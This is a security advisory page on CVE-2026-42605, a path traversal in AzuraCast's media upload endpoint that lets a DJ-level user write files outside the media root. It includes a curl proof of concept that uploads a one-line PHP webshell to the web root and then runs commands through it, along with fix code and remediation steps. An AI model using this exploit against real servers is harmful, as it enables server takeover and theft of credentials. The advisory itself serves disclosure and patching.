CVE-2026-42605: AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload

Published May 4, 2026
·
Updated

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{stationid}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

php // FlowUploadAction.php:79-84 $currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath(); if (!empty($currentDir)) { $destPath = $currentDir . '/' . $destPath; }

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

php // MediaProcessor.php:75-117 try { if (MimeType::isFileProcessable($localPath)) { // ... process media ... return $record; } // ... throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.'); } catch (CannotProcessMediaException $e) { $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage()); throw $e; } finally { $fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes }

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

php // LocalFilesystem.php:45-57 public function upload(string $localPath, string $to): void { $destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation $this->ensureDirectoryExists(dirname($destPath), ...); copy($localPath, $destPath); // OS resolves ../ }

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/apistation.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

bash curl -X POST "http://localhost/api/station/1/files/upload" \ -H "Authorization: Bearer <APIKEYWITHMEDIAPERMISSION>" \ -F "flowTotalChunks=1" \ -F "flowChunkNumber=1" \ -F "flowCurrentChunkSize=44" \ -F "flowTotalSize=44" \ -F "flowIdentifier=abc123" \ -F "flowFilename=shell.php" \ -F "currentDirectory=../../../../../var/azuracast/www/public" \ -F "filedata=@shell.php"

Where shell.php contains: php <?php system($GET['cmd']); ?>

Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.

Step 2: Execute commands via the webshell

bash curl "http://localhost/shell.php?cmd=id"

Expected output: uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)

Impact

- Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user. - Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration. - Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access. - Data Exfiltration: All station data, user credentials, and application secrets become accessible.

Recommended Fix

Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:

php // FlowUploadAction.php — replace line 79: $currentDir = Types::string($request->getParam('currentDirectory'));

// With: $currentDir = UploadedFile::filterClientPath( Types::string($request->getParam('currentDirectory')) );

Additionally, harden LocalFilesystem::upload() to normalize paths before use:

php // LocalFilesystem.php — add path normalization in upload(): public function upload(string $localPath, string $to): void { $normalizer = new WhitespacePathNormalizer(); $to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../

$destPath = $this->getLocalPath($to); $this->ensureDirectoryExists( dirname($destPath), $this->visibilityConverter->defaultForDirectories() );

if (!@copy($localPath, $destPath)) { throw UnableToCopyFile::fromLocationTo($localPath, $destPath); } }

Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.

Other sources

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{stationid}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

MITRE

Affected Software

2 affected componentsFixes available
composer/azuracast/azuracast<=0.23.5
0.23.6
azuracast azuracast<0.23.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/azuracast/azuracast to a version that resolves this vulnerability.

    Fixed in 0.23.6
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 0.23.6
  3. Configuration

    Update the route’s permission requirement so it does not allow DJs/station managers to reach the vulnerable upload path; ensure only admins (or a safer role) can perform media uploads to the affected endpoint.

    AzuraCast API route /api/station/{station_id}/files/upload (FlowUploadAction) required_permission = StationPermissions::Media only
  4. Configuration

    Sanitize the request parameter `currentDirectory` in `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php` using the same `UploadedFile::filterClientPath()` method used for filenames, before it is prepended to `destPath`.

    FlowUploadAction.php currentDirectory sanitization = UploadedFile::filterClientPath(currentDirectory)
  5. Configuration

    Harden `backend/src/Flysystem/LocalFilesystem.php` `upload()` (shown around `backend/src/Flysystem/LocalFilesystem.php:45-57`) to normalize paths before use so traversal sequences (e.g., `../`) cannot escape the media root.

    LocalFilesystem.php upload path normalization = normalize paths before use
  6. Configuration

    Fix the critical logic in `backend/src/Media/MediaProcessor.php:114-117` so that the `finally` block does not copy/write the uploaded file to `$destPath` when the file is rejected by `MimeType::isFileProcessable()` and would raise `CannotProcessMediaException`.

    MediaProcessor.php finally block file copy behavior = do not write/copy destination when MIME validation fails
  7. Configuration

    In `Flow.php:67`, sanitize `flowIdentifier` to prevent secondary path traversal when creating chunk directories for uploads.

    Flow.php flowIdentifier sanitization = sanitize before chunk directory creation

Event History

May 4, 2026
Advisory Published
via GitHub·09:16 PM
Data Sourced
via GitHub·09:16 PM
DescriptionSeverityWeaknessAffected Software
May 9, 2026
CVE Published
via MITRE·07:44 PM
Data Sourced
via MITRE·07:44 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42605?

CVE-2026-42605 is considered a high-severity vulnerability due to its potential for path traversal attacks leading to unauthorized file access.

2

How do I fix CVE-2026-42605?

To fix CVE-2026-42605, update your AzuraCast installation to version 0.23.6 or later, which contains a patch for the vulnerability.

3

What are the risks associated with CVE-2026-42605?

The risks of CVE-2026-42605 include the possibility for attackers to manipulate file uploads and gain access to sensitive files on the server.

4

Who is affected by CVE-2026-42605?

CVE-2026-42605 affects users running AzuraCast versions up to and including 0.23.5 with a local filesystem storage backend.

5

How does CVE-2026-42605 allow path traversal?

CVE-2026-42605 allows path traversal because the currentDirectory parameter in the media upload endpoint is not properly sanitized, enabling potential exploitation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203